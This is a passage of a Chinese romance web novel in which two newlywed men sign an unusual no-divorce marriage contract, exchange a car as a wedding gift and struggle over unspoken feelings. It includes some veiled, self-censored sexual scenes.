他看了会,低头,视线落在戒指上,刚才无意识摩挲许久,戒指冰凉的质感薄淞不知觉目光飘向身侧,桓柏蘅搭在方向盘的手。 修长,干净,指骨漂亮。 车子停在红绿灯前。 那只手离开方向盘,抬起,桓柏蘅的声音落在耳侧,“我习惯用无名指,你知道的。” “” 银戒套进去,闪着银光。 桓柏蘅前不久衣帽间取下来的,方便手指活动。 薄淞再不敢乱看了,闭眼,一路假寐到了商场- 第二日,两人起了大早。 婚礼流程最后一步,领证。 老一辈注重形式,订婚特殊情况,薄淞和桓柏蘅没有,先婚礼,宣告亲朋好友,再领证,就是私人的事。 薄淞收拾妥当,拍摄结婚证必要的白色衬衫,西装外套,黑皮鞋,正式而隆重,桓柏蘅在楼下。 薄淞下楼时,客厅沙发上坐着一人, 那人西装革履,面容严肃,看见他,站起身。 薄淞脚步顿了会,过去。 桓柏蘅抬起头,等他到跟前,语气不冷不淡,介绍,“这是秦律师。” “” 薄淞心里有数了。 “薄先生,您好。”秦律师伸手,同薄淞简单交握后,入座,薄淞在桓柏蘅身侧坐下,听人说出此行目的。 “我受桓先生委托,他想和您签署一份婚后协议,当然,您和桓先生目前未领证,严格意义上来说,算是婚前协议。” 一番话,薄淞隐约听出点意思。 协议谈不拢的话,没领证,可能就不存在婚姻关系了。 薄淞心沉了沉,他不知道桓柏蘅在协议里规定了什么,如果只是财产公证,那是应该的,可别的 “您可以先过目一下。” 秦律师推过去纸质协议,随后看了眼桓柏蘅,桓柏蘅点头后,才接着道,“桓先生的意思是,条件您可以提,他这边愿意做最大程度的让步,当然,您也可以联系您的律师,不过还是希望能尽快签署。” 后边的话秦律师说出口就有些违心了,只是雇主提了,他也只能说。 “您也知道近期领证的人较多,您和桓先生预约的时间在上午十一点,错过,怕是再预约,得费些时间了。” 桓柏蘅补了句,“我接下来一段时间都很忙。” “我先看看,好吗?” 薄淞明白他的意思,翻开协议。 桓柏蘅不早不晚,挑这么个时间点,其实就是不给他犹豫的机会,他不签,可能就结不了婚。 他签了薄淞不能接受共享,不能接受开放式的婚姻关系,这是他和桓柏蘅婚前谈过的,他相信桓柏蘅不是不尊重诺言的人,可除了这个,对方还能跟他签什么。 如果只是财产公正,不需要绕这么大圈子,桓柏蘅提出,他就会答应,这点他之前有隐晦提过的,桓柏蘅当时没这个意思。 薄淞翻看协议,一页,两页,三页。 凝重逐渐变作茫然,大脑缓渐空白,他翻过最后一页,最后一项,附加的额外条约。 只一条,敲了重点。 薄淞看了很久,怔然望向身侧,心跳一下下,用力在胸腔跃动,他不理解,哑声问。 “什么意思?” 桓柏蘅解释很简单,“字面意思。” 最后一项条约规定,婚姻合约时间二十年,期间不得以任何理由提出离婚,违约一方需支付赔偿,当然,对此底下有简单说明,若是一方出轨,婚姻结束,出轨方需双倍赔偿约定数额。 薄淞看了眼赔偿的数额,不论对他或是桓柏蘅,都得付出足够大的代价,或是说,想要这么大一笔的现金,短时间是很难的。 这相当于把婚姻锁死,至少二十年。 薄淞还是不懂。 “针对最后一条,桓先生这边有对您的额外补偿,您可以过目一下。” 秦律师推过去另一份文件。 薄淞翻开。 他看进去,好像又没看进去,大脑混沌,看不懂了,他不明白桓柏蘅和他签这么一份协议有什么意义。 是出于什么目的。 这份额外补偿,可供选择很多,股份转让,项目合作每一笔都利润丰厚,是桓柏蘅无条件要给他的。 薄淞再次翻看婚姻协议。 没有财产公证,有的只是密密麻麻一系列婚后条约,出远门报备,社交圈知情权等等,都是一些再细微不过的日常小事。 这不是一份正常的婚姻协议。 以这么正式的,需要律师在场,双方签署的协议,可偏偏就这么出现在薄淞面前。 “如果你觉得时间太长” 桓柏蘅开口的话打破这阵冗长的沉默,桓柏蘅盯着二十年那串数字,改了口,“十五年,不能再短。” “” 薄淞花了很久很久时间,才找回自己的声音,他问桓柏蘅,“我们为什么要签这个?” “对双方有效,我们的婚姻需要个保障。” 薄淞不是那个意思,只是他会以为他好像是什么很珍贵很重要的人,所以桓柏蘅愿意花这么大的代价留下他,桓柏蘅给的,很多,是会让人心动的丰厚。 气氛凝重,秦律师又说了几句,赠予不会收回,这个协议对薄淞有益无害,意思是熬到年限到期,也是可以的。 他仍旧可以得到很多。 可薄淞只是不明白。 “你是有什么顾虑吗?”桓柏蘅隐隐觉得烦躁,薄淞不愿意签,在他意料之中,如果对方本来就存着婚姻不长久的念头,随时随地可以离婚。 “薄淞,这份协议我确实应该提早跟你签,而不是现在,我们只差领证这一步。” 桓柏蘅提醒薄淞,该做的他们都做了,夫妻的事实已定。 薄淞在乎不在乎这个,桓柏蘅不知道,可薄淞既然愿意和他做,不应该对他毫无感觉,哪怕或许比不上他心里那个人。 桓柏蘅想起郑云松和许景渊的话,他承认这是一笔很亏的买卖,可他愿意花这个价钱,买一份婚姻的安稳。 他最讨厌麻烦,当然不是出于多喜欢对方,只是麻烦,而且,他不能接受,另一半出轨。 仅此而已。 所以薄淞只要签了,和他离婚,就得剥掉层血肉。 聪明的人,都知道如何权衡。 他愿意为此再付出点筹码。 “补偿不满意,你可以再提,我说过的,我结婚是想找个人过日子,不想轻易离婚,爷爷年纪大了你应该也看得出来,他挺喜欢你的。” 后面的话桓柏蘅没说,薄淞能懂,他好像能明白一点。 爷爷是桓柏蘅最在乎的人,起码爷爷在的时候,桓柏蘅希望能让爷爷安心,他想起条约里最后一句,出轨方全责。 桓柏蘅对他不放心,他们之间没有信任。 可桓柏蘅不需要付出这么大代价的。 “薄先生,您有疑问可以提出来,或是先联系律” 秦律师作为被雇佣方,有责任义务协助桓柏蘅达成协议,气氛僵持不是好事,开口的话却被薄淞打断。 “不用了。”薄淞说,“我签。” 秦律师和桓柏蘅对视一眼,桓柏蘅身体微微后仰,绷紧的脊背松弛下来,靠在沙发上,点了下头。 “行,那这边的补偿按照” “协议细节可能得麻烦您再改一遍。”薄淞打断他,却是望向桓柏蘅,低声道,“不需要补偿,按照正常的协议签署就行。” “” 第29章 新的协议改好后, 秦律师递过去。 薄淞没再多翻看,利落签下名字,白纸黑字, 合同生效。 “桓先生, 薄先生,一式两份, 二位收好。” 合同签署事项比预期顺利,秦律师没有多留道理, 起身告别,等人离开后,客厅空荡安静下来。 薄淞握着那几页协议,半晌问,“是不是该走了?” 桓柏蘅在看他, 从刚才到现在, 目光停留他身上,冷淡的,分辨不出情绪的那种, 也像是审视,薄淞捏着协议的纸紧了几分,边缘褶皱些许。 “嗯。”他的话得到桓柏蘅淡淡的回答。 总算那道直白锋利的视线挪开。 薄淞松了些力气,他想着先把协议放好,起身时,低垂的视线里多了只手,桓柏蘅递过来手机,屏幕亮着,显示着通讯录界面。 “手机号。”桓柏蘅没让他猜,这次很直接, 他说,“没你的,给一个。” 薄淞抿唇,接过,输入自己的号码。 输完后,还回去。 下秒自己的手机兜里震动,他拿出来,铃声闹了两声挂断,桓柏蘅说,“我的。” “好。” 薄淞保存了号码。 他盯着添加的那串数字,和手上明明几页却好似分量不轻的纸,第一次有实感。 和桓柏蘅的婚姻不是泡沫易碎的实感,好像是长久地,是应该花时间用心,一点一点努力去经营呵护的实感- 两人在预约前的时间到的民政局,工作日,人依旧很多。 年底是领证的热潮。 民政局局长门口等着,见着他们上前,领两人进去。 薄淞进去前,最后抬头一眼,望向面前这座外观其实并不过分奢华甚至于有些普通的建筑,灰蒙的日光下它并不出众,平平无奇,却仍旧因为被赋予特殊意义而在所有因为爱而来到这的伴侣心中,庄严神圣。 起码对薄淞而言,就是如此的。 他深深呼吸了下,迈开脚步,同桓柏蘅一道。 办理结婚证的流程并不复杂,更何况他们不需要排队,直接到办公室办理,登记审核盖章,不过几分钟,两本鲜红的证书到了手里,是很轻的一本,不比前一个小时薄淞手上那几份协议重。 薄淞翻开,两页纸,上面是合照。 红底白衬衫,他看见拘谨而僵硬的自己,桓柏蘅在他身侧,并不过分靠近的距离。 他们好像都没有笑。 薄淞些许遗憾,往下看。 两人的名字,国籍,出生日期,然后是结婚证号,一串相同的数字编码。 他盯着那串号,许久。 这是他和桓柏蘅所独有的,也是唯一的一串编码。 “右边是宣誓厅,领了结婚证的新人可以去拍照,留作纪念。”局长领着两人从领证大厅出来,笑意盈盈,“布景前两个月才重新改进过,很出片,可以发在社交软件上。” 薄淞知道这么个地方,身边的朋友结婚官宣的,都会有那么一组照片。 他是有点心动。 所有伴侣该做的,他都想跟桓柏蘅做一遍。 薄淞看向身侧的人,桓柏蘅神情几分冷淡,他才把眼底的渴望收起。 从出门那会到现在或是说,从他答应签下那份协议开始,桓柏蘅一直这样。 薄淞记起签署协议时,桓柏蘅问过他的,确定什么都不要? 他的回答,是。 免费赠予的,可他没有立场也不能心安理得收,或许对于桓柏蘅来说,这份婚姻协议的强制以及无理性太高,哪有结婚规定不能离?哪有离了还得支付巨额赔偿? 这本就是一份不正常的协议。 薄淞不应该那么配合,他的配合就是最大的不正常,拿点理所应当的补偿才在情理之中所以桓柏蘅会对他有所怀疑很正常。 他或许在桓柏蘅眼里,是个还不错的人,可不该是冲动不权衡利弊放弃唾手可得利益的不聪明的甚至愚蠢的人。 可不从利益角度出发,只能从感情出发 薄淞心微微颤了下,回神,同局长犹豫征询的目光对上,局长的那番话,没有得到回应。 桓柏蘅并无表示。 “不了吧。”他冲局长微微笑了笑,“还有些事。” 桓柏蘅目光落在他身上,这次停了会,没说什么,是默认意思,桓柏蘅对所谓的拍照并不感兴趣,当然薄淞想,他可以配合,而薄淞拒绝,他并无异议。 局长明白,送两人出去- 他们驱车回去。 半路,薄淞接到电话,静谧的车厢总算有了唯一响动,他同另一端的人聊了会,礼貌客套,一分钟后挂断。 “有事?” 桓柏蘅问,电话里,薄淞说下午过去。 “嗯。” “朋友?” “不是。” 桓柏蘅驶过红绿灯,后视镜里,薄淞看见对方微微蹙起的眉头,以及一闪而过的眼底不悦。 就不存在什么犹豫了。 “4s店打来的,喊我去看车。” 他说完,桓柏蘅眉眼松下来,放缓车速,随口一问,“你要换车?” 薄淞常开的就那么一辆宾利,另一辆保时捷基础款在角落都快生灰了,所以他买车,桓柏蘅会讶异。 “没有。”薄淞却否认了。 “桓柏蘅”,他在对方看来时,提出邀请,“你要不要跟我一起去看看?”- 薄淞想给桓柏蘅送车,作为结婚的礼物,是一早就有的想法。 只是他对车不算了解,而桓柏蘅喜欢跑车,更是在他的盲区,对此林序淮也爱莫能助,他只能向身边朋友咨询,得知限量的跑车购置是非常复杂的,基本都得提早两年预约,资质审核后,才能排号。 薄淞不可能等这么久,可也不想放弃,朋友表示可以帮他想办法,当然得先确认是否真的打算购买。 这不是一笔小数目,薄淞肯定是要现场看一看的。 只是薄淞当时联系店里销售,要的车型没有展出,这才有了刚才那么个电话。 车子拐了个弯,停在高架旁的小道边。 桓柏蘅侧身望过来,眸光几分深,盯了他一会,才说,“送我的?” 薄淞其实还没说要送他,因此桓柏蘅这么提如果不是就会有些尴尬,可说这话的是薄淞,他不会让桓柏蘅尴尬。 当然,也不会想送给别人。 “嗯,我不知道你喜欢什么样的,可以一起看看。” 薄淞还是打算不给惊喜了,因为惊喜到时候也不一定喜,送对桓柏蘅不喜欢的,就完全失了意义,而他确实摸不准桓柏蘅的喜好。 虽然他选的这款车型很受欢迎,当然价格也不菲,可桓柏蘅不是会因为价格而赋予“喜欢”意义的人。 再者,桓柏蘅是有购买资格的。 他还是打算让对方自己选吧。 薄淞手机调出车型给他看,桓柏蘅身子仰了些过来,那股淡淡的香味又一次萦绕鼻尖,是薄淞也很熟悉的沐浴露味道。 他们用的同一款,同一瓶。 薄淞思绪微微走神,耳侧响起的声音将他拉回。 “布加迪?” “车库里你有两辆。” 桓柏蘅的车挪了一部分过来,在新家车库里,和保驰捷一样,角落里快生灰,可运到新家去,应当是喜欢的。 或许是没什么机会开?薄淞是这么想的。 “不喜欢。” “” 桓柏蘅的拒绝太直接,以至于送礼的人愣了会,薄淞反应过来,庆幸还好没订。 “那你有喜欢的吗?”薄淞想桓柏蘅是有心仪的,他不想让对方顾虑价格,“这是我送你的结婚礼物,你只需要喜欢就好。” 他们结婚,该给的双方长辈都是给过的,彩礼嫁妆,通俗点的说法,可薄淞自己想送点东西给桓柏蘅,仅仅是他个人的心意。 就算不结婚他其实也想送桓柏蘅很多东西,可他没有资格。 “我喜欢就行?”桓柏蘅咬着字重复。 薄淞点头,“是。” 这条道上没人,而不远的高架车辆疾驰,动静被掩在窗外,车内静的落针可闻。 半晌,桓柏蘅低低笑了声。 “行啊。”他点头,“不过我很久不跑赛道,国外前两年玩腻了,跑车对我已经没什么吸引力。” 他看着薄淞,眼尾眯了下,说出自己的需求。 “suv吧,我现在喜欢大的,够大就行。”- 薄淞订了台库里南,作为结婚礼物,赠予桓柏蘅。 提车大概得两周后。 “回去吗?” 两人从店里出来,薄淞问道,他不知道桓柏蘅有没有别的安排。 桓柏蘅摇头,说,“转一圈?” 薄淞愣了下,他一时间没明白意思,直至看见不远处,两人车旁另一道熟悉车影,是车库角落那台蓝色布加迪。 “跑车是为赛道而生的,我也确实很久不玩了。“桓柏蘅接过车钥匙,偏头冲薄淞挑了下眉,“不过感谢你送我礼物,带你兜两圈没什么问题。” “”- 仓前山隧道。 夕阳还未沉尽,余晖铺开天边橘霞,布加迪如脱缰的怪兽,一路疾驰,引擎的轰鸣直冲云霄。 薄淞耳畔是呼啸风声,血液沸腾,在仪表盘飙升的数字下,几乎听不清任何响动,除了风声,就只有风声,周遭景色迅速倒退,变为模糊的一片绿。 盘山公路蜿蜒而上,桓柏蘅的速度却丝毫为减,几处险弯,车轮几乎贴着地面而过,摩擦声尖锐刺耳。 边上是万丈高崖。 桓柏蘅习惯于这样的刺激,甚至于隐隐的亢奋,薄淞感受得到,他也同样如此,肾上腺素飙升,是他从未体验过的疯狂。 桓柏蘅带给他的疯狂。 心跳有几个瞬间的暂停,在极限的速度下,薄淞望向身侧。 桓柏蘅发丝在风中狂舞,暮色里,目光冷淡又带着不可一世的张扬,追逐着悬尽的橘色落日。 他们追上了落日,在最后一丝光亮消失前。 喘息交织,久久未能平复。 空旷,冷冽,即将被黑暗吞噬的世界。 薄淞听见自己的心跳时,一并听见了耳侧的轻语。 桓柏蘅喊他名字。 薄淞偏过头,最后一丝光亮,映在面前人深邃眸底,对方一字一顿,开口的话,问他。 “你喜欢我啊?” 第30章 “你喜欢我啊?” 声音萦绕在耳边, 薄淞沸腾的热血顷刻间冷下,指尖无意识蜷紧,在桓柏蘅极为专注的目光下, 藏好只一瞬极浅的波动。 他冷静下来。 感情的事情, 是最说不清楚的,桓柏蘅不可能拿出证据, 一项一项罗列摊开在他面前,然后告诉他, 看,这就是你喜欢我的罪证。 薄淞没给他留下罪证,桓柏蘅也不会有这样的耐心,去过分探究一件,对他而言, 没有意义的事情。 只不过今天凑巧所有事赶在一起, 让对方产生那么一丝怀疑罢了薄淞看着桓柏蘅,面前的人眼底没有一点点类似“被喜欢”的惊讶,多的是审视, 玩味。 “你很好。”心脏一点点下沉,薄淞却只是眼尾微微弯了些,他说,“喜欢你应该不是件奇怪的事吧?” 很多人喜欢桓柏蘅,桓柏蘅并不在意,薄淞的喜欢,也不会是特别的那个,况且这样该是直白的表示好感的话被面前的人说出来敷衍至极,他感觉不到话里的真实性,也就别提什么感受。 “所以你喜欢我?” 桓柏蘅从来问一个问题, 就要明确的答案,模棱两可的,他会问到底,得到薄淞像是无奈又像是纵容的妥协。 “你希望我怎么回答?” “” 落日沉入山头,黑暗缓缓铺开,夜风里夹着冷意,在急速的刺激后,血液渐冷时,一并入侵。 桓柏蘅把车窗升上去,挡了些凉意,侧脸在周遭暗下的光线里冷漠锋利。 薄淞想,他或许还是该“解释”一句,让桓柏蘅不必因此而困惑,以及对于不必要的“猜测”而觉得麻烦。 他开口前,话语先响在耳边。 “说喜欢。” 薄淞一怔。 桓柏蘅把答案给他,再次重复了一遍,“我要你说喜欢。” 薄淞眼睫颤了颤,他答应,然后说,“桓柏蘅,我喜欢你。” 剖出的真心,得到的是桓柏蘅的沉默。 这阵沉默持续很久很久,久到薄淞冷到麻木,他不知道桓柏蘅这么问的意义,可他知道答案,明明早就知道的答案,还是在开口的话中,冰封的心脏裂开缝隙一角。 随后,碎了一地。 桓柏蘅蹙起眉,告诉他。 “薄淞。”他说,“我没有感觉。”- “你真没有?” 群通话里,郑云松先尖叫一声。 桓柏蘅把手机拿远了点,回头,卧室门关着,而薄淞在楼下,没上来。 “嗯。”他拧了下眉,“我觉得他说的很假。” “” “” 许景渊说话的声音夹着马路车子鸣笛,他这会在外面,“不然呢?他有喜欢的人你又不是不知道,愿意敷衍你也不错了。” “是这样。”郑云松附议,“重点是如果他说的真的,你什么感觉啊?” “协议签了,他什么都不要。”桓柏蘅只说,“哦,送了我辆车。” 另两人沉默了。 “学长估计也不在乎这个,我为我的心胸狭隘道歉。” “大圣人。” 桓柏蘅的声音在许景渊话后响起,“你这个词里有其他意思吗?” “没。”许景渊梗住,“我随口一句罢了,你用得着较真?” “我也随口一句把你对他的评价转告林序淮。” “” 郑云松头都大了,“不是,你两先别吵了行吗?所以我想知道这通电话的意义是什么?” 桓柏蘅以前也没这么强的分享欲啊,也是,桓柏蘅也没谈过恋爱。 可跟他们两说有什么用啊。 “这样说吧,你到底是希望他喜欢你,还是他不喜欢你,你内心真实的想法?假设他没喜欢的人。” “我想知道他的全部。” “” “每一通电话,朋友,有交集的生意伙伴,跟我主动报备行程。”桓柏蘅思考,接着补充,“顺从我,不违逆我,离林序淮远点。” 许景渊退出了语音通话。 “” 郑云松汗都要冒出来,“不是,那你就不要结婚,他又不是你包养的情人,你说东往东,说西往西?” 白日做梦,天方夜谭,无可救 “能让他有办法是吗?” 郑云松觉得桓柏蘅疯了,可桓柏蘅豁然开朗,他觉得自己摸到了点头绪。 “云松,我不需要他喜欢我。”桓柏蘅说,“我只想他一直呆在我身边,听我的话。” “” “无条件服从我。” “”- 桓柏蘅的无条件服从,明显是不可能的。 他下楼时,薄淞刚挂断电话,没有跟他报备和谁通话的打算,甚至于见着他,微笑,垂眼,然后从他身侧经过。 薄淞胳膊被攥住时,脚步停下。 桓柏蘅问他,“去哪?” 薄淞说,“后院。” 桓柏蘅看了眼外头黑沉的夜,“你现在去院子干嘛? “”薄淞没想好。 他只是随口说的而已,因为和桓柏蘅呆在同一片空间,会有些不自在,起码今晚是。 “你在躲我?”桓柏蘅笃定的语气。 薄淞轻声,“没有。” “你生气了,因为我说的没有感觉?” “不是,你怎么会这么想?” 薄淞没有生气,他当然不会因为桓柏蘅说的一句实话而生气,所以他躲着桓柏蘅是为什么,短短十多秒,他得到了答案。 是他有点伤心,但是很不应该。 薄淞觉得自己有些虚伪,也很贪婪,他好像越来越不满足.,到此刻才意识到。 桓柏蘅给他鲜活生动的小脾气,给他汗液黏腻的拥抱,滚烫的吻,和极致的“性”,内心深处,其实开始动摇。 会不会,存在那么一点,桓柏蘅喜欢他的可能性,不用很多,一点点也行。 而那份协议,真正乱了他的心。 就像桓柏蘅会怀疑他,会试探的问出“喜不喜欢”,他也会,为什么和他签这样的协议,为什么要把他留在身边? 桓柏蘅给的理由,不足够让他全然信服。 山顶那句“喜欢”。 只有薄淞自己明白,不那么纯粹的只是为了哄桓柏蘅,同样掺杂了那么一丝,细微却仍旧期待的幻想。 可惜,没有好的结果。 薄淞想。 他不会再抱有期待,也不应该再因为自己那么点微不足道的伤心,而让两人好不容易和谐的相处,又变得僵硬陌生。 “我真的没有。”薄淞软下语气,“你想做点什么呢,我陪你行吗? 迁就,顺从,是桓柏蘅想要的,薄淞确实如桓柏蘅开始所设想的,合适的结婚对象,成熟,包容,体贴。 可桓柏蘅又觉得,他不是很喜欢这样的薄淞。 “不用。”桓柏蘅松开手,莫名烦躁, “你不是因为我的话就最好。”他拧眉,“如果你喜欢我,我会觉得非常麻烦,你知道的,我对你没感觉,当然你可以放心,我也不会喜欢你,不过协议你已经签了,我希望你遵守契约精神。” “” “现在我们之间的气氛很奇怪,你应该想办法,怎么变回之前,我不喜欢在不舒服的环境里呆着。” 大概是桓柏蘅察觉到语气过于生硬,而薄淞并不是他包养的情人,刚才郑云松的话重现,他语气才软了点。 “这是为我们两个人好,你应该也是。” “抱歉。” 薄淞似乎除了道歉,没别的办法。 他能理解桓柏蘅。 桓柏蘅在这件事上也并没有做错,他只是诚实说出想法和感受,对他坦诚,其实是最好的。 不然他怕是还会陷进不切实际的幻想里。 等一天天,幻想被填充的越大,他就会不知足,那两人之间会有更多矛盾。 他也应该“坦诚”点,让桓柏蘅不必有过多的忧虑。 “柏蘅,我们对彼此还是有很多不了解,但你说的对,我也不喜欢在不舒服的环境里生活,所以我还是和你说清楚。” “所有你觉得我在退让的,我无条件给你的其实不是的。”薄淞停顿了会,才接着道,“结婚那天,我跟你说过的,不知道你还记不记得?” 他说,“我们已经是亲人了。” 薄淞想,他对桓柏蘅所有的好,都应该有个合情合理的理由。 而这个理由,再适合不过- 桓柏蘅是不是满意这个答案,薄淞不知道,只是当天晚上,他没能睡个好觉。 他们在客厅做了一次,楼梯口一次,凌晨三点,昏沉醒来时,桓柏蘅在他身后他有些受不了,被逼得崩溃的大脑。 欲望和爱是可以分开的,薄淞知道。 桓柏蘅想跟他z/a,和喜不喜欢他没有任何关联,做这种事,是会让人上瘾。 就像他,薄淞得承认,也很喜欢。 不止心理,身体上也是,桓柏蘅这个年纪,欲望和冲动都很强,加上性格原因,方式比较激烈,他总有不一样的让薄淞一次比一次新鲜的体验。 潜意识里,薄淞羞于承认的,他喜欢被这样对待,不要太温柔的方式。 只是偶尔桓柏蘅太凶的时候,把他按在透明的玻璃窗前时,薄淞望着窗外夜色中晃动的林木,耳边桓柏蘅的低语时,他觉得自己快疯了。 桓柏蘅说,等天气暖和些的时候,可以带他去外面,在阳台,或是院子里,夜深人静的时候,薄淞得叫的小声点,花会听到,树会听到,路过的麻雀会听到。 可薄淞压根不会叫,只会不停地颤抖,然后一点点往下坠,再被从身后箍得更紧。 但幕天席地也毕竟太远,夏天还要一阵。 然后桓柏蘅又说,想在薄淞送他的库里南上c他这样粗鲁而不雅的话,是平日里桓柏蘅绝对说不出来的,只有他能听见的,能看见的。 面前的人染着q///欲的眼睛,做着人类原//始最本性冲动的行为。 因为他。 30-40 第31章 宴会在即, 需要安排的事项多,桓柏蘅忙碌起来。 他开始不常在家。 薄淞通常和他吃个早饭,桓柏蘅离开, 他便独自呆着。 新家添置了些家具, 拐角处连着后院的娱乐室,在和桓柏蘅商量后, 被薄淞改造成了休息房。 窗正对后院。 后院不像前院花卉多,布了些山石景观, 水池边种着几株梅树,其余多是绿色植被,中间一座玻璃房,品茶赏雪别有一番滋味。 天气预报显示,年后会有场雪, 薄淞很期待。 他想着雪景时候, 邀请桓柏蘅一道去玻璃房里坐坐,等春天再种棵樱桃树 “轰隆”,一声雷响。 天色阴沉。 半晌, 烟白色的雨雾飘了过来。 大雨落下- 雨淅淅沥沥,一连下了两天。 气温骤降。 桓柏蘅回来的时候,身上多了冰冷的潮湿水汽,电梯门开,同薄淞目光对上。 薄淞刚从午后的睡梦中醒来,这一觉,睡到了四点。 雨天缘故,外头灰蒙蒙一片。 “回来了?” 薄淞几分状况外,桓柏蘅不在家,又因为年底的缘故, 没有工作需要处理,他实在闲的发慌。 冷天窝在被子里舒服,他便有些嗜睡。 这阵是因为口渴,下来找水喝。 桓柏蘅回来的比平常早。 他问,“去哪?” “喝水。” 雨下的比薄淞想象的要大许多,窗玻璃被打湿,雾蒙蒙的一片,风刮得树木枝叶颤动,几分可怜的在寒冬瑟瑟发抖。 薄淞喝完水,液体流经胃里,解了干渴,他把玻璃杯简单冲了冲,放好,转过身,迎面扑来的是外头泥土的潮湿味道。 桓柏蘅外套沾了些雨水,薄淞手搭上他肩头,触到点湿凉,餐厅里没开灯,光线昏暗。 他仰着头,接了个草木味道的吻- 桓柏蘅去洗澡,薄淞等人背影消失在旋转梯二层,抬手,轻轻碰了下脸。 很烫。 他在原地站着,好一阵,想起手机还落在楼上的事,可桓柏蘅在洗澡薄淞还是放弃上去拿。 桓柏蘅洗完澡下来的时候,顺道把薄淞的手机带下来,薄淞沙发上坐着,看电影。 他视线落在大屏上,却全然不知道看了一半的电影放了什么,本来就是艺术片,晦涩难懂,现在就更不明白了,听到身后脚步,回头。 桓柏蘅伸手,递过来东西。 “谢谢。” 薄淞接过手机,注意到桓柏蘅手里抱着笔记本。 桓柏蘅眸光淡淡的,落在他脸上,补了句,“不客气。” 好像刚才热烈亲吻的,不是彼此。 薄淞心跳又不安分,看人从沙发后绕到前边,往他的方向过来身旁软沙发陷进去。 他们之间没再隔着五六人的距离,是薄淞都不需要抬手,就能碰到的距离。 桓柏蘅扫了眼电影,报出个名字。 薄淞讶异,“你看过?” “不喜欢。” “” 很多时候,桓柏蘅的直接让薄淞猝不及防,比如现在,他愣了会,“哦”了一声。 “那我换一个。” 薄淞想着换部喜剧片好了,直起身,弯腰去够遥控时,胳膊被抓了下。 “不用,你看你的。”桓柏蘅说,“我不看。” 他松手,薄淞才重新靠了回去。 桓柏蘅敲起了笔记本,回复邮件- 阿姨过来做饭的时候,风雨刚歇。 做的五菜一汤,做完后离开。 桓柏蘅放下电脑,和薄淞一道用餐。 这几天桓柏蘅早出晚归,白天都是薄淞一个人在家,他就没让阿姨过来,老宅的人不少,可爷爷也习惯阿姨做的饭菜。 司机来回接送,也麻烦。 而桓柏蘅早些便说过,早餐不必,两人起床的时间不定,因此阿姨现在每天只过来一次。 年后,薄淞是想着,工作日就不必让阿姨来。 桓柏蘅不在荣市,他下班时间是不一定的,不过他没打算现在说想到年后,薄淞又有些失落。 时间过得很快,后天就是宴会了,宴会结束,也到除夕,除夕再到正月八号,桓柏蘅就该走了。 两个月,薄淞觉得漫长,这几天他一个人,都觉得时间变得难熬许多。 饭后,他接着把电影看完。 桓柏蘅打了个电话,半个多小时,回来,在他身边坐下,头往屏幕上看了眼,喊薄淞。 薄淞看进去一点了,听人喊他,转过头。 桓柏蘅报了个公司名字。 “去年八月左右上市,主要做芯片设计的,整体规模不算大吧,不过我个人觉得很有潜力。” 薄淞从事相关的行业,又在荣市圈子多年,每年哪些公司进来,哪些淘汰出局,是再清楚不过的。 宴会邀请名单他不清楚,但桓柏蘅说的公司绝对是有资格,因此桓柏蘅问,薄淞也不觉得惊讶。 只是桓柏蘅勾了勾手,薄淞大脑简单短路了下,他往人身边凑,电脑屏往他的方向偏了些。 是宴会的邀请名单。 桓柏蘅指尖在电脑感应屏上划着,连带着光标挪动,热气呼在耳边。 “这几个”他指了指,“给我介绍一下?” “” 两人是第一次聊工作上的事,聊到挺晚。 桓柏蘅合上笔记本,再一次确认爷爷说的没错,薄淞在工作上,确实能给他提供很多有效帮助。 他也不并意外薄淞知道的多,毕竟当时和对方结婚,薄淞就很符合他结婚对象的其中一个标准点。 工作狂。 加班是常态。 薄淞现在太闲了,闲到桓柏蘅一回来就能看见他,他想象了一下,以后回到家,空荡荡冷冰冰的家里 工作太狂了也不是好事情。 桓柏蘅没多想,看了眼墙上时钟,“走吧,睡觉。”他站起身,自上而下落着的眸光晦暗,“我明天不用早起。” “”- 日光洒满大半个主卧,光影随着纱帘轻晃,跃动在薄淞眉眼间时,薄淞从睡梦中醒来。 下秒睁开的眼被明亮光线惹的又微微眯起。 他还有几分昏沉,刚睡醒的懵,然后清晰地感受到,胸口发沉。 有些喘不过气,像被什么压着。 薄淞下意识想着把压着他的东西挪开,抬起的手顿住,在垂下的半眯起的眸子看见眼前一幕。 桓柏蘅此刻侧身的姿势,把脑袋埋在他怀里。 大概是嫌光太亮。 薄淞僵硬地不敢再动,腰间发烫,是对方的手环着,他有些难熬,可又怕扰了桓柏蘅睡意,视线扫见对方乌黑的发丝和小片侧颊皮肤。 桓柏蘅睡得太熟,没有要醒来的迹象。 薄淞缓慢地把手放回原位,一动不动,盯着天花板,鹅绒被下的身体赤//裸相贴,大清早,有些灼人的温度。 昨夜他们只做了一次,在卫生间里,事后他实在累到手指都懒得动,被简单清理后带回来,他以为桓柏蘅会继续,通常对方很少一次结束。 可桓柏蘅只是扯过被子,从身后抱住他。 除了结婚的那个晚上,他们都是分被子睡,桓柏蘅的怀抱很温暖,后半夜又零零星星下了点雨,薄淞也不确定,大概是的。 总之他沾着枕头,贴着对方,也就睡过去了。 薄淞眼睫颤了下,很轻地幅度垂眼,往下看,桓柏蘅埋在他身上,呼吸均匀起伏着。 没被蒙着。 这几天,可能是太累了。 光斑在天花板上移动,薄淞视线追随,也不知道几点,瞧着眼睛都酸了,累了胳膊开始发疼,实在没办法,他轻轻动了动。 桓柏蘅醒了,埋在怀里的脑袋抬起,薄淞同一双惺忪睡眼对上。 光线刺眼,桓柏蘅被日光照到,想躲开,下秒眼皮覆上温热。 “有点亮。” 薄淞给他遮住,睡醒后嗓音哑着。 手心里被睫毛扫了两下,心跳就全然乱了,等桓柏蘅说可以了,他才挪开,对上沉黑的眼眸。 桓柏蘅清醒了。 却没有要退出他怀里的意思。 “胳膊麻了。”薄淞只好自己说。 桓柏蘅才把上半身往后挪了些,解放了薄淞的胳膊,薄淞抬手活动,好一阵,酸麻的感觉缓解。 他把手搭回原位,桓柏蘅全程观察他。 “好点吗?” “嗯。” 薄淞胸口再次一沉,腰间的手用力,将他扯了些过去,欲/望抵在那,灼烫 “不做。”桓柏蘅只是正常生理反应,抱他更顺手了些,重新把脸埋过去,这会多留了缝隙呼吸。 声音重新变得懒洋洋。 “再睡会。” “” 薄淞开始以为自己睡不着,结果睡到中午。 醒来时,身侧空了。 浴室里传来水声。 他去床头摸索衣服,穿好,桓柏蘅推门正出来,他只裹着浴袍,发丝往下渗着水珠。 “点了餐,半小时后差不多到。” 桓柏蘅说道,去柜子里拿衣服。 